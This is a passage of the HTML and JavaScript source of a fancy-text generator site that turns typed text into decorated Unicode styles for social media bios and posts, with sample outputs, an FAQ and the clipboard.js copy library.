id="copy_64" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_64">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-66" value="👊😎  𝓟яε𝐯ᶤ€ʷ 𝓉ᵉ𝔁𝓣  ★🐙" id="copy_65" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_65">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-67" value="💀♪  𝕡𝕣Ⓔᐯᶤ𝐄ω 丅乇𝐗Ť  ☞🐙" id="copy_66" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_66">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-68" value="`•.¸¸.•´´¯`••._.• ρⓡєⓥเ𝓔Ŵ 𝓣ε𝔁𝔱 •._.••`¯´´•.¸¸.•`" id="copy_67" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_67">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-69" value="🐣💜  ƤяⒺν𝓘ᵉᗯ тᵉX𝐭  🎃🐠" id="copy_68" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_68">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-70" value="|!¤*'~``~'*¤!| ρŕ𝑒𝕍เⓔ𝓦 ţ𝔼𝔵Ŧ |!¤*'~``~'*¤!|" id="copy_69" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_69">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-71" value="♘💔  קŕᵉ𝐯i𝐄Ⓦ 𝐓ex𝐭  ♗🐸" id="copy_70" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_70">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-72" value="🐲😎  𝓅ŕⓔᵛĮ𝐞𝓌 Ť𝒆𝓧𝔱  ☢♙" id="copy_71" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_71">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-73" value="¸,ø¤º°`°º¤ø,¸¸,ø¤º° ρ𝓇є𝐕𝒾€ฬ Ŧεx𝐭 °º¤ø,¸¸,ø¤º°`°º¤ø,¸" id="copy_72" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_72">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-74" value="👣🎯  ρᖇᗴνᶤ𝐞𝐰 𝔱Ẹ𝔵𝓽  ✊🍧" id="copy_73" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_73">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-75" value="🍔🍓  ρŕє𝐯𝔦є𝓌 Ⓣε𝕩𝓣  🍟🐠" id="copy_74" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_74">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-76" value="░▒▓█►─═  𝓅RẸV𝐢εᗯ 𝓉𝒆𝕩𝓽 ═─◄█▓▒░" id="copy_75" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_75">Copy</span></div></div>
<div class="input-group mb-3"><input type="text" class="form-control text-77" value="]|I{•------» ᑭR乇𝕧Ꭵe𝔀 𝐓€x丅 «------•}I|[" id="copy_76" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_76">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-78" value="♧☹  𝔭Ř𝐄ν𝒾ε𝐖 𝕥є𝓍𝓽  💜♝" id="copy_77" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_77">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-79" value="💞🎄  ƤR乇ѶĮⒺ𝓌 ᵗe𝔁𝐭  👤♕" id="copy_78" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_78">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-80" value="🐊♤  ⓟ𝓇ⒺV𝓲ew Ťєx𝐭  🐳👺" id="copy_79" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_79">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-81" value="🎄🎅  𝓹ⓇᵉVƗє𝓦 𝓣εχ𝐓  ♨🍩" id="copy_80" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_80">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-82" value="💢♖  pг𝕖𝐕ᶤє𝐖 T𝔼ⓍŤ  ♖♙" id="copy_81" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_81">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-83" value="ඏ🐚  ℙ尺𝔢v𝓲єŴ 𝕥E𝓍t  ♝💚" id="copy_82" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_82">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-84" value="🔥💔  ⓟⓇєViEW t𝐄𝕩𝐭  🎉♜" id="copy_83" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_83">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-85" value="😈☞  ℙ𝕣乇νiᵉ𝓦 𝐭𝑒Xţ  💲♤" id="copy_84" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_84">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-86" value="♔☠  𝓹R€ᐯ丨ᗴŴ Tєx𝔱  💚💢" id="copy_85" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_85">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-87" value=".  🎀  𝒫𝓇𝑒𝓋𝒾𝑒𝓌 𝒯𝑒𝓍𝓉  🎀  ." id="copy_86" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_86">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-88" value="🐢  🎀  𝒫𝓇𝑒𝓋𝒾𝑒𝓌 𝒯𝑒𝓍𝓉  🎀  🐢" id="copy_87" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_87">Copy</span></div></div><div class="input-group mb-3"><input type="text" class="form-control text-89" value="🐞 ⋆ 🐾  🎀  𝒫𝓇𝑒𝓋𝒾𝑒𝓌 𝒯𝑒𝓍𝓉  🎀  🐾 ⋆ 🐞" id="copy_88" readonly="readonly"><div class="input-group-append"><span class="input-group-text copybutton" style="cursor:pointer;" data-clipboard-action="copy" data-clipboard-target="#copy_88">Copy</span></div></div></div>
<center>
<button class="btn btn-secondary loadmore">Load More</button>
</center>
</hr>


<hr/>
<!-- Fancy Font Generator Tool Details -->
 <h1>Facebook Instagram Stylish Text</h1>
 <p> <b>Facebook stylish text Instagram stylish text</b>
 Hey everyone ! this is often a Facebook Instagram stylish text generator. you will be able to generate stylish text by putting any text within the first box so all types of different forms of stylish text are created within the other box. Ever wanted a stylish name on social media or for a gaming handle? This facebook instagram stylish text generator will help with that! It'll also help if you would like to use stylish text in your Instagram bio Facebook Bio and profile or social media posts. Here's another generator for stylish names that also has some added effects and stuff. The conversion occurs via a series of special characters from the Unicode standard. I collected a bunch of various stylish alphabets then made them into a generator using some JavaScript. In case you're curious, Unicode is that the sis of ASCII. ASCII defines only 256 characters in its extended set, and Unicode defines over 100,000 text symbols. So when making Facebook Instagram stylish text with unicode we have got a large number of various characters, symbols and accents (diacritics) that we are able to use to form text and decorate it. You can use this converter to come up with text for Facebook names, for Tumblr, for Twitter, for Instagram, or for pretty much any social network that you simply wish. That's because all modern browsers now support an outsized number of text symbols from the Unicode standard. If you wish You may find that some websites don't support som of the special letters and instead a box or a matter mark character are shown. this is not an issue with the converter tool. It just means the web site that you're trying to use it on is employing a font which has limited Unicode support. you ought to be ready to copy and paste to most websites with none trouble though. This translator currently includes over large integer different alphabets including cursive text, flipped text, double-struck text, Old English letters, kawaii text and lots of more. If you recognize of an alphabet that you just think should be included (i.e. it's fancy/stylish or simply with it. Thanks for using my website tool Facebook Instagram Stylish Text :)
 You can generate unlimited styliah text without any payment </p>
<p align="justify">

<b>Facebook instagram Stylish Text</b> is a best stylish text generator tool by Fasttotech.com that you just can use to create Fancy Text Fonts having many Styles with elegant characters for you  copy  and paste easily.<br><br>

Please note that these aren't actual fonts rather these are Unicode characters and a few characters are mathematical. A screen reader won't be ready to read them correctly. So take care about where you employ them.  <br><br>

Welcome to our website which is specially made for you guys to come up with stylish text online in an exceedingly single click for facebook and instagram. have you ever ever wondered how such a lot of people have stylish names, captions, etc. on their social media handles? Well, they may use Fancy text generator tools. Using it you'll be able to convert any normal-looking text into a chic text style. Here, we've tried our greatest to produce you a user-friendly and easy-to-use interface. This Text Generator tool uses Unicode characters and converts each alphabet of your simple text to Unicode characters. Similarly, the text is decorated using various Unicode characters.<br><br>

The moment you blood type text on the box above you'll see plenty of various styles below which will be copied swiftly without redirecting you to a distinct page.<br><br>

<b>How to use Facebook Instagram Stylish Text?</b>
<br><br>
You don't have to be worried about anything. Using this site is super-easy. to assist you out we've got also shared some steps below.
<br><br>
1. Type any text within the box above.
<br>
2. Click the copy button after your favorite classy text style.
<br>
3. Paste it anywhere on social media post.
<br>
<b>QnA about Facebook Instagram Stylish Text</b>
<br><br>
Here are some questions together with their answers about our Cool Text Generator that will facilitate your.<br>
<br>
1. How Stylish text is generated?
<br>
Facebook Instagram Stylish text  maker uses different Unicode characters to make fancy text. you ought to know that this text generator doesn't generate actual fonts. Instead, it changes your inserted text to related but 'fancy' Unicode characters.
<br>
2. the way to use Stylish text maker on Instagram?
<br>
If you would like to form your Instagram profiles look stylish by adding a cool insta bio then the sole thing you wish to try to to is to feature your text within the box above. Instantly you may get some amazing results below for a novel insta bio. Copy any of the fonts you liked and paste it into your insta bio. That's all!
<br>
3. am i able to send WhatsApp fancy text?
<br>
Well yes! you'll be able to send messages to your friends and family during a different manner. instead of just typing salutation why not send them Ɠòòɗ Ṁòɍƞḯƞɠ. Copy and paste fancy text and send Whatsapp stylish text messages.
<br>
4. Which device is best for Fancy Text Generator?
<br>
You can use any device to come up with stylish text. we've got made this website fully responsive. On the desktop, you'll open your browser and after typing our website URL you'll start converting texts. Nothing different on a mobile, tablet, or mac book. Also as we use Unicode characters so you'll use these texts anywhere which supports them.
<br>
5. Using our Stylish text generator for FB?
<br>
You can use many of those stylish fonts in Facebook posts further as in your bio. If any of the text isn't supported you'll be able to select from many other styles. But talking about FB's stylish name you may not capable to use stylish text in your profile name. the explanation is Facebook doesn't allow fancy characters and symbols in name only but maybe some will be used.
<br>
6. the way to generate fonts for Twitter?
<br>
These amazing-looking texts may be used on Twitter. To use on Twitter just copy your favorite style after typing a text so boom paste it anywhere. Steps are as simple as they're written above, copy & paste text as our site also works as a Twitter text generator.
<br>
7. Do i've got to obtain a trendy Text converter?
<br>
Not in the least this site is 100% ✅ FREE for you. Use Stylish text made of Unicode characters by simply copy and pasting your favorite stylish font. you'll be able to appreciate our efforts by sharing our website with friends.
<br>
8. what percentage stylish text variations do I have?
<br>
There are quite 200+  text styles that you simply can choose between our cool fancy text. Styles are separated into different categories. you'll be able to also merge two different styles by copying different characters from the various cool fonts.
<br>
9. For what more purpose am i able to use Facebook Instagram Stylish Text Generator?
<br><br>
You can use stylish text maker for several different purposes. Any website that supports Unicode Characters, you'll use fancy text there. Especially people love making stylish names and thus you'll be able to also make one for you and paste it anywhere. Many websites and apps have a bio option too. So you'll also use it to stick stylish text in bio. Send fancy SMS, messages to your friends and family. Wish someone morning, Have a decent Day modish using this cool text font generator. Facebook stylish text, Instagram Stylish text,social media stylish text generator
</p>




 <hr/>
 <!-- End Fancy Font Generator Tool Details -->
 
 <div class="py-4 text-center bg-white">
    <p>
      &copy; <span id="copy-year">2022</span> Copyright by
      <a class="fancy text generator" href="https://www.pietune.xyz">PieTune</a>
        </p>
  </div>
  
  
      <!-- Add icon library -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">


<!-- Add font awesome icons -->
<p align="center">
<a href="https://www.pietune.xyz" class="fa fa-facebook"></a>
<a href="https://www.pietune.xyz" class="fa fa-twitter"></a>
<a href="https://www.pietune.xyz" class="fa fa-instagram"></a>
<a href="https://www.pietune.xyz" class="fa fa-youtube"></a>
<a href="https://www.pietune.xyz" class="fa fa-telegram"></a>
</p>


<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/js/bootstrap.min.js"></script>


<script>
    /*!
 * clipboard.js v2.0.0
 * https://zenorocha.github.io/clipboard.js
 * 
 * Licensed MIT © Zeno Rocha
 */
!function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define([],e):"object"==typeof exports?exports.ClipboardJS=e():t.ClipboardJS=e()}(this,function(){return function(t){function e(o){if(n[o])return n[o].exports;var r=n[o]={i:o,l:!1,exports:{}};return t[o].call(r.exports,r,r.exports,e),r.l=!0,r.exports}var n={};return e.m=t,e.c=n,e.i=function(t){return t},e.d=function(t,n,o){e.o(t,n)||Object.defineProperty(t,n,{configurable:!1,enumerable:!0,get:o})},e.n=function(t){var n=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(n,"a",n),n},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=3)}([function(t,e,n){var o,r,i;!function(a,c){r=[t,n(7)],o=c,void 0!==(i="function"==typeof o?o.apply(e,r):o)&&(t.exports=i)}(0,function(t,e){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}var o=function(t){return t&&t.__esModule?t:{default:t}}(e),r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},i=function(){function t(t,e){for(var n=0;n<e.length;n++){var o=e[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(t,o.key,o)}}return function(e,n,o){return n&&t(e.prototype,n),o&&t(e,o),e}}(),a=function(){function t(e){n(this,t),this.resolveOptions(e),this.initSelection()}return i(t,[{key:"resolveOptions",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};this.action=t.action,this.container=t.container,this.emitter=t.emitter,this.target=t.target,this.text=t.text,this.trigger=t.trigger,this.selectedText=""}},{key:"initSelection",value:function(){this.text?this.selectFake():this.target&&this.selectTarget()}},{key:"selectFake",value:function(){var t=this,e="rtl"==document.documentElement.getAttribute("dir");this.removeFake(),this.fakeHandlerCallback=function(){return t.removeFake()},this.fakeHandler=this.container.addEventListener("click",this.fakeHandlerCallback)||!0,this.fakeElem=document.createElement("textarea"),this.fakeElem.style.fontSize="12pt",this.fakeElem.style.border="0",this.fakeElem.style.padding="0",this.fakeElem.style.margin="0",this.fakeElem.style.position="absolute",this.fakeElem.style[e?"right":"left"]="-9999px";var n=window.pageYOffset||document.documentElement.scrollTop;this.fakeElem.style.top=n+"px",this.fakeElem.setAttribute("readonly",""),this.fakeElem.value=this.text,this.container.appendChild(this.fakeElem),this.selectedText=(0,o.default)(this.fakeElem),this.copyText()}},{key:"removeFake",value:function(){this.fakeHandler&&(this.container.removeEventListener("click",this.fakeHandlerCallback),this.fakeHandler=null,this.fakeHandlerCallback=null),this.fakeElem&&(this.container.removeChild(this.fakeElem),this.fakeElem=null)}},{key:"selectTarget",value:function(){this.selectedText=(0,o.default)(this.target),this.copyText()}},{key:"copyText",value:function(){var t=void 0;try{t=document.execCommand(this.action)}catch(e){t=!1}this.handleResult(t)}},{key:"handleResult",value:function(t){this.emitter.emit(t?"success":"error",{action:this.action,text:this.selectedText,trigger:this.trigger,clearSelection:this.clearSelection.bind(this)})}},{key:"clearSelection",value:function(){this.trigger&&this.trigger.focus(),window.getSelection().removeAllRanges()}},{key:"destroy",value:function(){this.removeFake()}},{key:"action",set:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"copy";if(this._action=t,"copy"!==this._action&&"cut"!==this._action)throw new Error('Invalid "action" value, use either "copy" or "cut"')},get:function(){return this._action}},{key:"target",set:function(t){if(void 0!==t){if(!t||"object"!==(void 0===t?"undefined":r(t))||1!==t.nodeType)throw new Error('Invalid "target" value, use a valid Element');if("copy"===this.action&&t.hasAttribute("disabled"))throw new Error('Invalid "target" attribute. Please use "readonly" instead of "disabled" attribute');if("cut"===this.action&&(t.hasAttribute("readonly")||t.hasAttribute("disabled")))throw new Error('Invalid "target" attribute. You can\'t cut text from elements with "readonly" or "disabled" attributes');this._target=t}},get:function(){return this._target}}]),t}();t.exports=a})},function(t,e,n){function o(t,e,n){if(!t&&!e&&!n)throw new Error("Missing required arguments");if(!c.string(e))throw new TypeError("Second argument must be a String");if(!c.fn(n))throw new TypeError("Third argument must be a Function");if(c.node(t))return r(t,e,n);if(c.nodeList(t))return i(t,e,n);if(c.string(t))return a(t,e,n);throw new TypeError("First argument must be a String, HTMLElement, HTMLCollection, or NodeList")}function r(t,e,n){return t.addEventListener(e,n),{destroy:function(){t.removeEventListener(e,n)}}}function i(t,e,n){return Array.prototype.forEach.call(t,function(t){t.addEventListener(e,n)}),{destroy:function(){Array.prototype.forEach.call(t,function(t){t.removeEventListener(e,n)})}}}function a(t,e,n){return u(document.body,t,e,n)}var c=n(6),u=n(5);t.exports=o},function(t,e){function n(){}n.prototype={on:function(t,e,n){var o=this.e||(this.e={});return(o[t]||(o[t]=[])).push({fn:e,ctx:n}),this},once:function(t,e,n){function o(){r.off(t,o),e.apply(n,arguments)}var r=this;return o._=e,this.on(t,o,n)},emit:function(t){var e=[].slice.call(arguments,1),n=((this.e||(this.e={}))[t]||[]).slice(),o=0,r=n.length;for(o;o<r;o++)n[o].fn.apply(n[o].ctx,e);return this},off:function(t,e){var n=this.e||(this.e={}),o=n[t],r=[];if(o&&e)for(var i=0,a=o.length;i<a;i++)o[i].fn!==e&&o[i].fn._!==e&&r.push(o[i]);return r.length?n[t]=r:delete n[t],this}},t.exports=n},function(t,e,n){var o,r,i;!function(a,c){r=[t,n(0),n(2),n(1)],o=c,void 0!==(i="function"==typeof o?o.apply(e,r):o)&&(t.exports=i)}(0,function(t,e,n,o){"use strict";function r(t){return t&&t.__esModule?t:{default:t}}function i(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function a(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function c(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}function u(t,e){var n="data-clipboard-"+t;if(e.hasAttribute(n))return e.getAttribute(n)}var l=r(e),s=r(n),f=r(o),d="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},h=function(){function t(t,e){for(var n=0;n<e.length;n++){var o=e[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(t,o.key,o)}}return function(e,n,o){return n&&t(e.prototype,n),o&&t(e,o),e}}(),p=function(t){function e(t,n){i(this,e);var o=a(this,(e.__proto__||Object.getPrototypeOf(e)).call(this));return o.resolveOptions(n),o.listenClick(t),o}return c(e,t),h(e,[{key:"resolveOptions",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};this.action="function"==typeof t.action?t.action:this.defaultAction,this.target="function"==typeof t.target?t.target:this.defaultTarget,this.text="function"==typeof t.text?t.text:this.defaultText,this.container="object"===d(t.container)?t.container:document.body}},{key:"listenClick",value:function(t){var e=this;this.listener=(0,f.default)(t,"click",function(t){return e.onClick(t)})}},{key:"onClick",value:function(t){var e=t.delegateTarget||t.currentTarget;this.clipboardAction&&(this.clipboardAction=null),this.clipboardAction=new l.default({action:this.action(e),target:this.target(e),text:this.text(e),container:this.container,trigger:e,emitter:this})}},{key:"defaultAction",value:function(t){return u("action",t)}},{key:"defaultTarget",value:function(t){var e=u("target",t);if(e)return document.querySelector(e)}},{key:"defaultText",value:function(t){return u("text",t)}},{key:"destroy",value:function(){this.listener.destroy(),this.clipboardAction&&(this.clipboardAction.destroy(),this.clipboardAction=null)}}],[{key:"isSupported",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:["copy","cut"],e="string"==typeof t?[t]:t,n=!!document.queryCommandSupported;return e.forEach(function(t){n=n&&!!document.queryCommandSupported(t)}),n}}]),e}(s.default);t.exports=p})},function(t,e){function n(t,e){for(;t&&t.nodeType!==o;){if("function"==typeof t.matches&&t.matches(e))return t;t=t.parentNode}}var o=9;if("undefined"!=typeof Element&&!Element.prototype.matches){var r=Element.prototype;r.matches=r.matchesSelector||r.mozMatchesSelector||r.msMatchesSelector||r.oMatchesSelector||r.webkitMatchesSelector}t.exports=n},function(t,e,n){function o(t,e,n,o,r){var a=i.apply(this,arguments);return t.addEventListener(n,a,r),{destroy:function(){t.removeEventListener(n,a,r)}}}function r(t,e,n,r,i){return"function"==typeof t.addEventListener?o.apply(null,arguments):"function"==typeof n?o.bind(null,document).apply(null,arguments):("string"==typeof t&&(t=document.querySelectorAll(t)),Array.prototype.map.call(t,function(t){return o(t,e,n,r,i)}))}function i(t,e,n,o){return function(n){n.delegateTarget=a(n.target,e),n.delegateTarget&&o.call(t,n)}}var a=n(4);t.exports=r},function(t,e){e.node=function(t){return void 0!==t&&t instanceof HTMLElement&&1===t.nodeType},e.nodeList=function(t){var n=Object.prototype.toString.call(t);return void 0!==t&&("[object NodeList]"===n||"[object HTMLCollection]"===n)&&"length"in t&&(0===t.length||e.node(t[0]))},e.string=function(t){return"string"==typeof t||t instanceof String},e.fn=function(t){return"[object Function]"===Object.prototype.toString.call(t)}},function(t,e){function n(t){var e;if("SELECT"===t.nodeName)t.focus(),e=t.value;else if("INPUT"===t.nodeName||"TEXTAREA"===t.nodeName){var n=t.hasAttribute("readonly");n||t.setAttribute("readonly",""),t.select(),t.setSelectionRange(0,t.value.length),n||t.removeAttribute("readonly"),e=t.value}else{t.hasAttribute("contenteditable")&&t.focus();var o=window.getSelection(),r=document.createRange();r.selectNodeContents(t),o.removeAllRanges(),o.addRange(r),e=o.toString()}return e}t.exports=n}])});
</script>


<script>
    


            //try {
                var reverseIsDisabled = false;
                //<![CDATA[
                var luni = new Lunicode();
luni.tools.creepify.options.maxHeight = 10;


function backward(text) {
  return $("#english-text").val();
}






    function createMap(chars) {
      var alphanum = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9"];
      var i = 0;
      var map = {};
      for(var c of chars) {
        map[ alphanum[i] ] = c;
        i++;
      }
      return JSON.stringify(map);
    }


    function forward(text) {
      text = text.trim();
      if(text === "") {
        return "";
      }
      var finalText = "";
      finalText += applyCharMap(oldEnglishCharMap, text) + "\n\n";
      finalText += applyCharMap(medievalCharMap, text) + "\n\n";
      finalText += fullCrazy(text) + "\n\n";
      finalText += applyCharMap(cursiveCharMap, text) + "\n\n";
      finalText += scriptify(text) + "\n\n";
      finalText += applyCharMap(doubleStruckCharMap, text) + "\n\n";
      finalText += applyCharMap(wideTextCharMap, text) + "\n\n";
      finalText += cuteText(text) + "\n\n";
      finalText += luni.tools.tiny.encode(text) + "\n\n";
      finalText += luni.tools.flip.encode(text) + "\n\n";
      finalText += luni.tools.roundsquares.encode(text) + "\n\n";
      finalText += luni.tools.squares.encode(text) + "\n\n";
      finalText += applyCharMap(squaresCharMap, text) + "\n\n";
      finalText += luni.tools.mirror.encode(text) + "\n\n";
      finalText += luni.tools.creepify.encode(text) + "\n\n";
      finalText += applyCharMap(invertedSquaresCharMap, text) + "\n\n";
      finalText += applyCharMap(subscriptCharMap, text) + "\n\n";
      finalText += applyCharMap(superscriptCharMap, text) + "\n\n";
      finalText += luni.tools.bubbles.encode(text) + "\n\n";
      finalText += applyCharMap(squiggleCharMap, text) + "\n\n";
      finalText += applyCharMap(squiggle2CharMap, text) + "\n\n";
      finalText += applyCharMap(squiggle3CharMap, text) + "\n\n";
      finalText += applyCharMap(squiggle4CharMap, text) + "\n\n";
      finalText += applyCharMap(squiggle5CharMap, text) + "\n\n";
      finalText += applyCharMap(squiggle6CharMap, text) + "\n\n";
      finalText += applyCharMap(boldCharMap, text) + "\n\n";
      finalText += applyCharMap(boldSansCharMap, text) + "\n\n";
      finalText += applyCharMap(italicCharMap, text) + "\n\n";
      finalText += applyCharMap(boldItalicCharMap, text) + "\n\n";
      finalText += applyCharMap(monospaceCharMap, text) + "\n\n";
      finalText += applyCharMap(upperAnglesCharMap, text) + "\n\n";
      finalText += applyCharMap(greekCharMap, text) + "\n\n";
      finalText += applyCharMap(symbolsCharMap, text) + "\n\n";
      finalText += applyCharMap(currencyCharMap, text) + "\n\n";
      finalText += applyCharMap(asianStyleCharMap, text) + "\n\n";
      finalText += applyCharMap(asianStyle2CharMap, text) + "\n\n";
      finalText += thickBlockFramed(text) + "\n\n";
      finalText += diametricAngleFrame(text) + "\n\n";
      finalText += wavyJoiner(text) + "\n\n";
      finalText += dottyJoiner(text) + "\n\n";
      finalText += kirbyHug(text) + "\n\n";
      finalText += vaporwaveText(text) + "\n\n";
      finalText += littleSparkles(text) + "\n\n";
      finalText += weirdBox(text) + "\n\n";
      finalText += firework(text) + "\n\n";
      finalText += applyCharMap(bentTextCharMap, text) + "\n\n";
      finalText += applyCharMap(neonCharMap, text) + "\n\n";
      finalText += applyCharMap(futureAlienCharMap, text) + "\n\n";
      finalText += strikeThrough(text) + "\n\n";
      finalText += tildeStrikeThrough(text) + "\n\n";
      finalText += slashThrough(text) + "\n\n";
      finalText += underline(text) + "\n\n";
      finalText += doubleUnderline(text) + "\n\n";
      finalText += stinky(text) + "\n\n";
      finalText += heartsBetween(text) + "\n\n";
      finalText += arrowBelow(text) + "\n\n";
      finalText += crossAboveBelow(text) + "\n\n";
      finalText += "Wingdings: "+wingdings(text) + "\n\n";
      finalText += cuteText(text) + "\n\n";
      finalText += cuteText(text) + "\n\n";
      finalText += cuteText(text) + "\n\n";
      finalText += cuteText(text) + "\n\n";
      finalText += cuteText(text) + "\n\n";
      finalText += crazyWithFlourishOrSymbols(text) + "\n\n";
      finalText += crazyWithFlourishOrSymbols(text) + "\n\n";
      finalText += crazyWithFlourishOrSymbols(text) + "\n\n";
      finalText += crazyWithFlourishOrSymbols(text) + "\n\n";
      finalText += crazyWithFlourishOrSymbols(text) + "\n\n";
      finalText += crazyWithFlourishOrSymbols(text) + "\n\n";
      finalText += crazyWithFlourishOrSymbols(text) + "\n\n";
      finalText += crazyWithFlourishOrSymbols(text) + "\n\n";
      finalText += crazyWithFlourishOrSymbols(text) + "\n\n";
      finalText += crazyWithFlourishOrSymbols(text) + "\n\n";
      finalText += crazyWithFlourishOrSymbols(text) + "\n\n";
      finalText += crazyWithFlourishOrSymbols(text) + "\n\n";
      finalText += crazyWithFlourishOrSymbols(text) + "\n\n";
      finalText += crazyWithFlourishOrSymbols(text) + "\n\n";
      finalText += crazyWithFlourishOrSymbols(text) + "\n\n";
      finalText += crazyWithFlourishOrSymbols(text) + "\n\n";
      finalText += crazyWithFlourishOrSymbols(text) + "\n\n";
      finalText += crazyWithFlourishOrSymbols(text) + "\n\n";
      finalText += crazyWithFlourishOrSymbols(text) + "\n\n";
      finalText += crazyWithFlourishOrSymbols(text) + "\n\n";
      finalText += crazyWithFlourishOrSymbols(text) + "\n\n";
